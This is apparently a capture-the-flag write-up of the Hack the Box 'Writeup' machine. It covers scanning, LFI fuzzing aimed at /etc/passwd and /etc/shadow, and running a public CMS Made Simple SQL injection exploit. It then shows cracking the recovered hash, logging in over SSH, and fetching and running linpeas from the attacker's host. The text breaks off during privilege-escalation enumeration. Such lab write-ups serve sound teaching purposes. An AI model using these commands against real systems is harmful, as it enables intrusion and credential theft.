Hack the Box - Writeup

Contents

Overview

This was the second box I did from the Hack the Box Take it Easy Dare Challenge.

Box Details

IP OS User-Rated Difficulty Date Started Date Completed
10.10.10.138 Linux 4.4 2021-07-15 2021-07-15

This box started with a bit of digging around a blog for something exploitable - unfortunately there was a WAF (Web Application Firewall) preventing brute forcing and fuzzing, so it was back to basics. Eventually I found a version number for a CMS which had an SQL Injection vulnerability, allowing us to extract a password hash and log in to the box.

The privesc to root involved exploiting a Message of the Day script that called a binary without an absolute path - the /usr/local/sbin directory on the box was writeable, which meant we could hijack the binary by writing a file with the same name at that location on the path.

Ratings

I rated the user flag a 2 for difficulty. I spent a long time enumerating it, but realistically I would have found it much easier if I’d paid a bit more attention to the source code. Once I spotted the framework, I’d shelled it within 20 minutes. The box was made a little harder to fuzz by the WAF, but scanning wasn’t actually necessary for the user flag.

Root was slightly trickier, and involved a bit of SUID trickery to get a shell. It was also a little tricky to find the target binary and the right syntax, but the exploit concept wasn’t too hard. It took 45 minutes to read the flag itself, then another 10-15 minutes to figure out how to get a root shell.

Tags

#linux #no-metasploit #web #cve #cron #pspy #motd #takeiteasy

Enumeration

Autorecon

I started off with autorecon

┌──(mac㉿kali)-[~/.config/AutoRecon]
└─$ autorecon 10.10.10.138
[*] Scanning target 10.10.10.138
[*] Running service detection nmap-full-tcp on 10.10.10.138
[*] Running service detection nmap-top-20-udp on 10.10.10.138
[*] Running service detection nmap-quick on 10.10.10.138
[!] Service detection nmap-top-20-udp on 10.10.10.138 returned non-zero exit code: 1
[*] Service detection nmap-quick on 10.10.10.138 finished successfully in 25 seconds
[*] Found ssh on tcp/22 on target 10.10.10.138
[*] Found http on tcp/80 on target 10.10.10.138
[*] Running task tcp/22/sslscan on 10.10.10.138
[*] Running task tcp/22/nmap-ssh on 10.10.10.138
[*] Running task tcp/80/sslscan on 10.10.10.138
[*] Running task tcp/80/nmap-http on 10.10.10.138
[*] Running task tcp/80/curl-index on 10.10.10.138
[*] Running task tcp/80/curl-robots on 10.10.10.138
[*] Running task tcp/80/wkhtmltoimage on 10.10.10.138
[*] Running task tcp/80/whatweb on 10.10.10.138
[*] Running task tcp/80/nikto on 10.10.10.138
[*] Task tcp/22/sslscan on 10.10.10.138 finished successfully in 1 second
[*] Running task tcp/80/gobuster on 10.10.10.138
[*] Task tcp/80/sslscan on 10.10.10.138 finished successfully in 1 second
[!] Task tcp/80/gobuster on 10.10.10.138 returned non-zero exit code: 1
[*] Task tcp/80/curl-index on 10.10.10.138 finished successfully in 4 seconds
[*] Task tcp/80/curl-robots on 10.10.10.138 finished successfully in 7 seconds
[*] Task tcp/22/nmap-ssh on 10.10.10.138 finished successfully in 14 seconds
[*] Task tcp/80/nikto on 10.10.10.138 finished successfully in 16 seconds
[*] Task tcp/80/nmap-http on 10.10.10.138 finished successfully in 16 seconds
[!] Task tcp/80/wkhtmltoimage on 10.10.10.138 returned non-zero exit code: 1
[*] [20:18:15] - There are 2 tasks still running on 10.10.10.138
[*] Task tcp/80/whatweb on 10.10.10.138 finished successfully in 36 seconds
[*] [20:19:15] - There is 1 task still running on 10.10.10.138
[*] Service detection nmap-full-tcp on 10.10.10.138 finished successfully in 2 minutes, 51 seconds
[*] Found tcpwrapped on tcp/80 on target 10.10.10.138
[*] Running task tcp/80/sslscan on 10.10.10.138
[*] Task tcp/80/sslscan on 10.10.10.138 finished successfully in less than a second
[*] Finished scanning target 10.10.10.138 in 2 minutes, 52 seconds
[*] Finished scanning all targets in 2 minutes, 52 seconds!

It immediately found a webserver and SSH.

nmap

I checked out the nmap output from autorecon:

┌──(mac㉿kali)-[~/Documents/HTB/writeup/results/10.10.10.138/scans]
└─$ cat _full_tcp_nmap.txt 
# Nmap 7.91 scan initiated Thu Jul 15 20:17:16 2021 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /home/mac/.config/AutoRecon/results/10.10.10.138/scans/_full_tcp_nmap.txt -oX /home/mac/.config/AutoRecon/results/10.10.10.138/scans/xml/_full_tcp_nmap.xml 10.10.10.138
Nmap scan report for 10.10.10.138
Host is up, received user-set (0.016s latency).
Scanned at 2021-07-15 20:17:19 BST for 164s
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT   STATE SERVICE    REASON  VERSION
22/tcp open  ssh        syn-ack OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKBbBK0GkiCbxmAbaYsF4DjDQ3JqErzEazl3v8OndVhynlxNA5sMnQmyH+7ZPdDx9IxvWFWkdvPDJC0rUj1CzOTOEjN61Qd7uQbo5x4rJd3PAgqU21H9NyuXt+T1S/Ud77xKei7fXt5kk1aL0/mqj8wTk6HDp0ZWrGBPCxcOxfE7NBcY3W++IIArn6irQUom0/AAtR3BseOf/VTdDWOXk/Ut3rrda4VMBpRcmTthjsTXAvKvPJcaWJATtRE2NmFjBWixzhQU+s30jPABHcVtxl/Fegr3mvS7O3MpPzoMBZP6Gw8d/bVabaCQ1JcEDwSBc9DaLm4cIhuW37dQDgqT1V
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPzrVwOU0bohC3eXLnH0Sn4f7UAwDy7jx4pS39wtkKMF5j9yKKfjiO+5YTU//inmSjlTgXBYNvaC3xfOM/Mb9RM=
|   256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEuLLsM8u34m/7Hzh+yjYk4pu3WHsLOrPU2VeLn22UkO
80/tcp open  tcpwrapped syn-ack
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 15 20:20:04 2021 -- 1 IP address (1 host up) scanned in 168.95 seconds

It found two ports:

There wasn’t very much information, so I checked the specific port 80 scan:

┌──(mac㉿kali)-[~/Documents/HTB/writeup/results/10.10.10.138/scans]
└─$ cat tcp_80_http_nmap.txt 
# Nmap 7.91 scan initiated Thu Jul 15 20:17:44 2021 as: nmap -vv --reason -Pn -sV -p 80 "--script=banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)" -oN /home/mac/.config/AutoRecon/results/10.10.10.138/scans/tcp_80_http_nmap.txt -oX /home/mac/.config/AutoRecon/results/10.10.10.138/scans/xml/tcp_80_http_nmap.xml 10.10.10.138
Nmap scan report for 10.10.10.138
Host is up, received user-set (0.021s latency).
Scanned at 2021-07-15 20:17:55 BST for 0s

PORT   STATE  SERVICE REASON       VERSION
80/tcp closed http    conn-refused

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 15 20:17:56 2021 -- 1 IP address (1 host up) scanned in 12.58 seconds

Maybe it isn’t autorecon’s fault - the connection is refused, but I can reach the site in browser, so perhaps it is rejecting the packets because of the nmap user agent.

I tried again later, after finding out about the Web Application Firewall on the box:

┌──(mac㉿kali)-[~/Documents/HTB/writeup]
└─$ nmap -p 80 -sC -sV 10.10.10.138
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-15 20:47 BST
Nmap scan report for writeup.htb (10.10.10.138)
Host is up (0.060s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/writeup/
|_http-title: Nothing here yet.

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.60 seconds

This revealed robots.txt and the writeup directory, by which point i’d already found.

Website

Nmap found port 80, so I visited the site:

It didn’t seem to load. I added http:// in the browser URL bar and it loaded:

The site seems to be a blog. It mentions already being under attack, and also mentions a domain name (writeup.htb). I added this to /etc/hosts.

Gobuster failed on my autorecon scan - normally I would rerun it manually, but I didn’t want to trigger any sort of firewall so I did some manual poking around first.

Manual Fuzzing

There’s nothing interesting in the source, including any links.

I tried /blog, /writeups, and /blog/ and /writeups/ to no avail. There was nothing different on the http://writeup.htb page either (sometimes loading the site via its virtual host name gives a different result, but not this time).

When I went to visit /writeups/ on the domain, I mistyped it and accidentally found the /writeup/ page:

The page source shows the site runs PHP, and a ?page= parameter which can be fuzzed for LFI:

The writeups are amusing, but there’s no useful info on them:

I tried looking for a few other useful files, like .git:

The box mentions vi, so maybe there are swp files:

I checked the robots file, which showed us the /writeup/ directory:

And I tried to provoke a couple of SQLI errors in the ?page parameter:

But I didn’t have any luck - as this is an easy box, and SQLMap would likely trigger a firewall, I moved on.

I checked what’s in the normal wordlists:

┌──(mac㉿kali)-[~/Documents/HTB/writeup/results/10.10.10.138/scans]
└─$ head -100 /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt 

And tried a few other pages from the list, such as /admin:

/admin asks for creds - I tried admin:admin, jkr:password, jkr:admin, and jkr:writeup, but none of them worked.

I wondered if /archive had anything in it, but it was empty:

None of this manual fuzzing found anything interesting, so I went to try some LFI in the ?page parameter.

Trying LFI

I tried some basic LFI first:

I tried a large number of LFIs manually, before switching to wfuzz:

┌──(mac㉿kali)-[~/Documents/HTB/writeup/results/10.10.10.138/scans]
└─$ wfuzz -u http://writeup.htb/writeups/index.php?page=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt 
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://writeup.htb/writeups/index.php?page=FUZZ
Total requests: 257

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                 
=====================================================================

000000001:   404        9 L      32 W       293 Ch      "/etc/passwd"                                                                                                                           
000000003:   404        9 L      32 W       293 Ch      "/etc/aliases"                                                                                                                          
000000010:   404        9 L      32 W       293 Ch      "/etc/bootptab"                                                                                                                         
...[snip]...                                                                                     
000000240:   404        9 L      32 W       293 Ch      "~/.logout"                                                                                                                             
000000005:   404        9 L      32 W       293 Ch      "/etc/apache2/apache2.conf"                                                                                                             
000000002:   404        9 L      32 W       293 Ch      "/etc/shadow"                                                                                                                           

Total time: 0
Processed Requests: 238
Filtered Requests: 0
Requests/sec.: 0

 /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:78: UserWarning:Fatal exception: Pycurl error 7: Failed to connect to writeup.htb port 80: Connection refused

As expected, this eventually got me blocked.

While I waited, I used curl to see if there was a timeout limit specified in the header:

┌──(mac㉿kali)-[~/Documents/HTB/writeup/results/10.10.10.138/scans]
└─$ curl -I writeup.htb
HTTP/1.1 200 OK
Date: Thu, 15 Jul 2021 19:44:32 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Wed, 24 Apr 2019 20:15:00 GMT
ETag: "bd8-5874c5b2a3bbb"
Accept-Ranges: bytes
Content-Length: 3032
Vary: Accept-Encoding
Content-Type: text/html

It seemed I’d been unbanned, so it only lasted a couple of minutes. Good to know.

Next I checked if we could grab the index page via the ?page parameter:

Neither of these worked, so I was pretty confident at this point that LFI wouldn’t work.

I tried wfuzz one more time, with a delay to try and bypass the WAF:

┌──(mac㉿kali)-[~/Documents/HTB/writeup/results/10.10.10.138/scans]
└─$ wfuzz -u http://writeup.htb/writeups/index.php?page=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -s 1
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://writeup.htb/writeups/index.php?page=FUZZ
Total requests: 257

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                 
=====================================================================

000000001:   404        9 L      32 W       293 Ch      "/etc/passwd"                                                                                                                       ...[snip]...    

000000029:   404        9 L      32 W       293 Ch      "/etc/httpd/httpd.conf"                                                                                                                 

Total time: 0
Processed Requests: 29
Filtered Requests: 0
Requests/sec.: 0

 /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:78: UserWarning:Fatal exception: Pycurl error 7: Failed to connect to writeup.htb port 80: Connection refused

I got blocked again after 30 requests.

CMS Made Simple Exploit

After about 45 minutes and a little nudge, I re-checked the source and found areference to a CMS:

<meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." />

I looked for this in searchsploit:

┌──(mac㉿kali)-[~/Documents/HTB/writeup]
└─$ searchsploit "cms made simple"
----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                         |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
CMS Made Simple (CMSMS) Showtime2 - File Upload Remote Code Execution (Metasploit)                                                                                     | php/remote/46627.rb
CMS Made Simple 0.10 - 'index.php' Cross-Site Scripting                                                                                                                | php/webapps/26298.txt
CMS Made Simple 0.10 - 'Lang.php' Remote File Inclusion                                                                                                                | php/webapps/26217.html
CMS Made Simple 1.0.2 - 'SearchInput' Cross-Site Scripting                                                                                                             | php/webapps/29272.txt
CMS Made Simple 1.0.5 - 'Stylesheet.php' SQL Injection                                                                                                                 | php/webapps/29941.txt
CMS Made Simple 1.11.10 - Multiple Cross-Site Scripting Vulnerabilities                                                                                                | php/webapps/32668.txt
CMS Made Simple 1.11.9 - Multiple Vulnerabilities                                                                                                                      | php/webapps/43889.txt
CMS Made Simple 1.2 - Remote Code Execution                                                                                                                            | php/webapps/4442.txt
CMS Made Simple 1.2.2 Module TinyMCE - SQL Injection                                                                                                                   | php/webapps/4810.txt
CMS Made Simple 1.2.4 Module FileManager - Arbitrary File Upload                                                                                                       | php/webapps/5600.php
CMS Made Simple 1.4.1 - Local File Inclusion                                                                                                                           | php/webapps/7285.txt
CMS Made Simple 1.6.2 - Local File Disclosure                                                                                                                          | php/webapps/9407.txt
CMS Made Simple 1.6.6 - Local File Inclusion / Cross-Site Scripting                                                                                                    | php/webapps/33643.txt
CMS Made Simple 1.6.6 - Multiple Vulnerabilities                                                                                                                       | php/webapps/11424.txt
CMS Made Simple 1.7 - Cross-Site Request Forgery                                                                                                                       | php/webapps/12009.html
CMS Made Simple 1.8 - 'default_cms_lang' Local File Inclusion                                                                                                          | php/webapps/34299.py
CMS Made Simple 1.x - Cross-Site Scripting / Cross-Site Request Forgery                                                                                                | php/webapps/34068.html
CMS Made Simple 2.1.6 - 'cntnt01detailtemplate' Server-Side Template Injection                                                                                         | php/webapps/48944.py
CMS Made Simple 2.1.6 - Multiple Vulnerabilities                                                                                                                       | php/webapps/41997.txt
CMS Made Simple 2.1.6 - Remote Code Execution                                                                                                                          | php/webapps/44192.txt
CMS Made Simple 2.2.14 - Arbitrary File Upload (Authenticated)                                                                                                         | php/webapps/48779.py
CMS Made Simple 2.2.14 - Authenticated Arbitrary File Upload                                                                                                           | php/webapps/48742.txt
CMS Made Simple 2.2.14 - Persistent Cross-Site Scripting (Authenticated)                                                                                               | php/webapps/48851.txt
CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)                                                                                                            | php/webapps/49793.txt
CMS Made Simple 2.2.15 - RCE (Authenticated)                                                                                                                           | php/webapps/49345.txt
CMS Made Simple 2.2.15 - Stored Cross-Site Scripting via SVG File Upload (Authenticated)                                                                               | php/webapps/49199.txt
CMS Made Simple 2.2.5 - (Authenticated) Remote Code Execution                                                                                                          | php/webapps/44976.py
CMS Made Simple 2.2.7 - (Authenticated) Remote Code Execution                                                                                                          | php/webapps/45793.py
CMS Made Simple < 1.12.1 / < 2.1.3 - Web Server Cache Poisoning                                                                                                        | php/webapps/39760.txt
CMS Made Simple < 2.2.10 - SQL Injection                                                                                                                               | php/webapps/46635.py
CMS Made Simple Module Antz Toolkit 1.02 - Arbitrary File Upload                                                                                                       | php/webapps/34300.py
CMS Made Simple Module Download Manager 1.4.1 - Arbitrary File Upload                                                                                                  | php/webapps/34298.py
CMS Made Simple Showtime2 Module 3.6.2 - (Authenticated) Arbitrary File Upload                                                                                         | php/webapps/46546.py
----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

A few of the exploits are authenticated. One is an RCE, but reading the code shows it requires a fresh install. The next best option is the SQL injection.

The exploit, at php/webapps/46635.py, seems to do a blind injection via a time based attack. I’ll clone it and run it:

┌──(mac㉿kali)-[~/Documents/HTB/writeup]
└─$ searchsploit -m php/webapps/46635.py
┌──(mac㉿kali)-[~/Documents/HTB/writeup]
└─$ python2 -m pip install termcolor
┌──(mac㉿kali)-[~/Documents/HTB/writeup]
└─$ python2 46635.py -u http://writeup.htb/writeup/

It finds us a password hash and salt within a minute!

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7

I’ll try to find the hash format:

┌──(mac㉿kali)-[~/Documents/HTB/writeup]
└─$ hashcat --example-hashes | grep simple
┌──(mac㉿kali)-[~/Documents/HTB/writeup]
└─$ hashcat --example-hashes | grep cms

Old reliable hashid ended up giving us an answer:

┌──(mac㉿kali)-[~/Documents/HTB/writeup]
└─$ hashid 62def4866937f08cc13bab43bb14e6f7
Analyzing '62def4866937f08cc13bab43bb14e6f7'
[+] MD2 
[+] MD5 
[+] MD4 
[+] Double MD5 
[+] LM 
[+] RIPEMD-128 
[+] Haval-128 
[+] Tiger-128 
[+] Skein-256(128) 
[+] Skein-512(128) 
[+] Lotus Notes/Domino 5 
[+] Skype 
[+] Snefru-128 
[+] NTLM 
[+] Domain Cached Credentials 
[+] Domain Cached Credentials 2 
[+] DNSSEC(NSEC3) 
[+] RAdmin v2.x 

The crack_password() method in the exploit code also tells us it’s MD5:

def crack_password():
    global password
    global output
    global wordlist
    global salt
    dict = open(wordlist)
    for line in dict.readlines():
        line = line.replace("\n", "")
        beautify_print_try(line)
        if hashlib.md5(str(salt) + line).hexdigest() == password:
            output += "\n[+] Password cracked: " + line
            break
    dict.close()

So we can look for md5 in hashcat:

┌──(mac㉿kali)-[~/Documents/HTB/writeup]
└─$ hashcat --example-hashes | grep md5 -B 1

...[snip]...

MODE: 20
TYPE: md5($salt.$pass)

...[snip]...

I added hash:salt to a file:

┌──(mac㉿kali)-[~/Documents/HTB/writeup]
└─$ echo -n '62def4866937f08cc13bab43bb14e6f7:5a599ef579066807' > hash

And cracked it:

┌──(mac㉿kali)-[~/Documents/HTB/writeup]
└─$ hashcat -a 0 -m 20 hash --wordlist /usr/share/wordlists/rockyou.txt 
hashcat (v6.1.1) starting...

...[snip]...

62def4866937f08cc13bab43bb14e6f7:5a599ef579066807:raykayjay9
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5($salt.$pass)
Hash.Target......: 62def4866937f08cc13bab43bb14e6f7:5a599ef579066807
Time.Started.....: Thu Jul 15 21:25:19 2021 (4 secs)
Time.Estimated...: Thu Jul 15 21:25:23 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  2094.9 kH/s (0.27ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 4360192/14344385 (30.40%)
Rejected.........: 0/4360192 (0.00%)
Restore.Point....: 4359168/14344385 (30.39%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: raymie0506 -> raygan96

Started: Thu Jul 15 21:24:30 2021
Stopped: Thu Jul 15 21:25:24 2021

I immediately checked for password reuse and logged in via SSH:

┌──(mac㉿kali)-[~/Documents/HTB/writeup]
└─$ ssh jkr@10.10.10.138
The authenticity of host '10.10.10.138 (10.10.10.138)' can't be established.
ECDSA key fingerprint is SHA256:TEw8ogmentaVUz08dLoHLKmD7USL1uIqidsdoX77oy0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.138' (ECDSA) to the list of known hosts.
jkr@10.10.10.138's password: 
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

It worked! We can now grab the user flag:

We can also presumably log in to the admin panel - however, I tried jkr:raykayjay9 and jkr@writeup.htb:raykayjay9 but neither worked.

Shell as jkr

I did some initial manual enumeration, checking for sudo capabilities, interesting running processes, and cron jobs:

jkr@writeup:~$ sudo -l
-bash: sudo: command not found
jkr@writeup:~$ ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.1  15796  1808 ?        Ss   15:09   0:00 init [2]
...[snip]...
root      1310  0.0  0.2 250108  2372 ?        Ssl  15:09   0:00 /usr/sbin/rsyslogd
root      1452  0.0  1.0 163432 10740 ?        Sl   15:09   0:03 /usr/sbin/vmtoolsd
root      1487  0.0  1.0  66316 10420 ?        S    15:09   0:00 /usr/lib/vmware-vgauth/VGAuthService -s
root      1570  0.0  2.8 330848 29260 ?        Ss   15:09   0:00 /usr/sbin/apache2 -k start
root      1630  0.0  0.2  29664  2516 ?        Ss   15:09   0:00 /usr/sbin/cron
message+  1646  0.0  0.2  32744  2480 ?        Ss   15:09   0:00 /usr/bin/dbus-daemon --system
root      1686  0.0  0.2  28528  2992 ?        S    15:09   0:00 /usr/sbin/elogind -D
root      1757  0.0  0.2   9776  2824 ?        S    15:09   0:00 /bin/bash /usr/bin/mysqld_safe
root      1781  0.0  1.5 431436 16000 ?        Sl   15:09   0:02 /usr/bin/python3 /usr/bin/fail2ban-server -s /var/run/fail2ban/fail2ban.sock -p /var/run/fail2ban/fail2ban.pid -b
mysql     1934  0.0  7.8 654008 80284 ?        Sl   15:09   0:03 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/x86_64-linux-gnu/mariadb18/plugin --user=mysql --skip-log
root      1935  0.0  0.0   4192   708 ?        S    15:09   0:00 logger -t mysqld -p daemon error
root      1978  0.0  0.3  69952  3856 ?        Ss   15:09   0:00 /usr/sbin/sshd
root      2047  0.0  0.1  14520  1708 tty1     Ss+  15:09   0:00 /sbin/getty 38400 tty1
root      2048  0.0  0.1  14520  1696 tty2     Ss+  15:09   0:00 /sbin/getty 38400 tty2
root      2049  0.0  0.1  14520  1872 tty3     Ss+  15:09   0:00 /sbin/getty 38400 tty3
root      2050  0.0  0.1  14520  1776 tty4     Ss+  15:09   0:00 /sbin/getty 38400 tty4
root      2051  0.0  0.1  14520  1872 tty5     Ss+  15:09   0:00 /sbin/getty 38400 tty5
root      2052  0.0  0.1  14520  1708 tty6     Ss+  15:09   0:00 /sbin/getty 38400 tty6
root      2148  0.0  0.0      0     0 ?        S    15:10   0:00 [kauditd]
www-data  2581  0.0  0.8 330872  8680 ?        S    16:20   0:00 /usr/sbin/apache2 -k start
www-data  2582  0.0  0.8 330872  8680 ?        S    16:20   0:00 /usr/sbin/apache2 -k start
www-data  2583  0.0  0.8 330872  8680 ?        S    16:20   0:00 /usr/sbin/apache2 -k start
www-data  2584  0.0  0.8 330872  8680 ?        S    16:20   0:00 /usr/sbin/apache2 -k start
www-data  2585  0.0  0.8 330872  8680 ?        S    16:20   0:00 /usr/sbin/apache2 -k start
www-data  2586  0.0  0.8 330872  8680 ?        S    16:20   0:00 /usr/sbin/apache2 -k start
root      2609  0.0  0.0      0     0 ?        S    16:27   0:00 [kworker/0:1]
root      2625  0.0  0.0      0     0 ?        S    16:32   0:00 [kworker/0:0]
root      2629  0.0  0.7 108796  7292 ?        Ss   16:33   0:00 sshd: jkr [priv]
jkr       2635  0.0  0.3 108796  3988 ?        S    16:33   0:00 sshd: jkr@pts/0
jkr       2636  0.0  0.3  19884  3768 pts/0    Ss   16:33   0:00 -bash
jkr       2653  0.0  0.2  19188  2484 pts/0    R+   16:36   0:00 ps aux
jkr@writeup:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && /bin/run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && /bin/run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && /bin/run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && /bin/run-parts --report /etc/cron.monthly )

There were a few root processes, including cron, but no jobs specified.

Linpeas

I switched to Linpeas:

jkr@writeup:/tmp$ cd /tmp && wget http://10.10.16.211:8000/linpeas.sh
--2021-07-15 16:39:22--  http://10.10.16.211:8000/linpeas.sh
Connecting to 10.10.16.211:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 325084 (317K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                                         100%[=============================================================================================================>] 317.46K  1.29MB/s    in 0.2s    

2021-07-15 16:39:23 (1.29 MB/s) - ‘linpeas.sh’ saved [325084/325084]

jkr@writeup:/tmp$ chmod +x linpeas.sh 
jkr@writeup:/tmp$ ./linpeas.sh 

Highlights

[+] Cron jobs
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs
-rw-r--r-- 1 root root  742 Oct  7  2017 /etc/crontab

/etc/cron.d:
total 16
drwxr-xr-x  2 root root 4096 Apr 19  2019 .
drwxr-xr-x 81 root root 4096 Aug 23  2019 ..
-rw-r--r--  1 root root  702 Apr 19  2019 php
-rw-r--r--  1 root root  102 Oct  7  2017 .placeholder

/etc/cron.daily:
total 36
drwxr-xr-x  2 root root 4096 Apr 19  2019 .
drwxr-xr-x 81 root root 4096 Aug 23  2019 ..
-rwxr-xr-x  1 root root  539 Nov  3  2018 apache2
-rwxr-xr-x  1 root root 1474 Sep 13  2017 apt-compat
-rwxr-xr-x  1 root root  355 Oct 25  2016 bsdmainutils
-rwxr-xr-x  1 root root 1597 Feb 22  2017 dpkg
-rwxr-xr-x  1 root root   89 May  5  2015 logrotate
-rwxr-xr-x  1 root root  249 May 17  2017 passwd
-rw-r--r--  1 root root  102 Oct  7  2017 .placeholder

/etc/cron.hourly:
total 12
drwxr-xr-x  2 root root 4096 Apr 19  2019 .
drwxr-xr-x 81 root root 4096 Aug 23  2019 ..
-rw-r--r--  1 root root  102 Oct  7  2017 .placeholder

/etc/cron.monthly:
total 12
drwxr-xr-x  2 root root 4096 Apr 19  2019 .
drwxr-xr-x 81 root root 4096 Aug 23  2019 ..
-rw-r--r--  1 root root  102 Oct  7  2017 .placeholder

/etc/cron.weekly:
total 12
drwxr-xr-x  2 root root 4096 Apr 19  2019 .
drwxr-xr-x 81 root root 4096 Aug 23  2019 ..
-rw-r--r--  1 root root  102 Oct  7  2017 .placeholder

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

PATH=/usr/local/sbin:/usr/local/bin: in the cron definition was highlighted, which I’d come back to.

It also found a local mysql instance:

[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0   2364 10.10.10.138:22         10.10.16.211:43550      ESTABLISHED -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -          

/usr/local/lib was also highlighted:

[+] Checking misconfigurations of ld.so
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#ld-so
/etc/ld.so.conf
include /etc/ld.so.conf.d/*.conf

/etc/ld.so.conf.d
  /etc/ld.so.conf.d/libc.conf
/usr/local/lib

There were some group writeable files:

[+] Interesting GROUP writable files (not in Home) (max 500)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
  Group jkr:

  Group cdrom:

  Group floppy:

  Group audio:

  Group dip:

  Group video:

  Group plugdev:

  Group staff:
/var/local
/usr/local
/usr/local/bin
/usr/local/include
/usr/local/share
/usr/local/share/sgml
/usr/local/share/sgml/misc
/usr/local/share/sgml/stylesheet
/usr/local/share/sgml/entities
/usr/local/share/sgml/dtd
/usr/local/share/sgml/declaration
/usr/local/share/fonts
/usr/local/share/man
/usr/local/share/emacs
/usr/local/share/emacs/site-lisp
/usr/local/share/xml
/usr/local/share/xml/schema
/usr/local/share/xml/misc
/usr/local/share/xml/entities
/usr/local/share/xml/declaration
/usr/local/games
/usr/local/src
/usr/local/etc
/usr/local/lib
/usr/local/lib/python3.5
/usr/local/lib/python3.5/dist-packages
/usr/local/lib/python2.7
/usr/local/lib/python2.7/dist-packages
/usr/local/lib/python2.7/site-packages
/usr/local/sbin
  Group netdev:

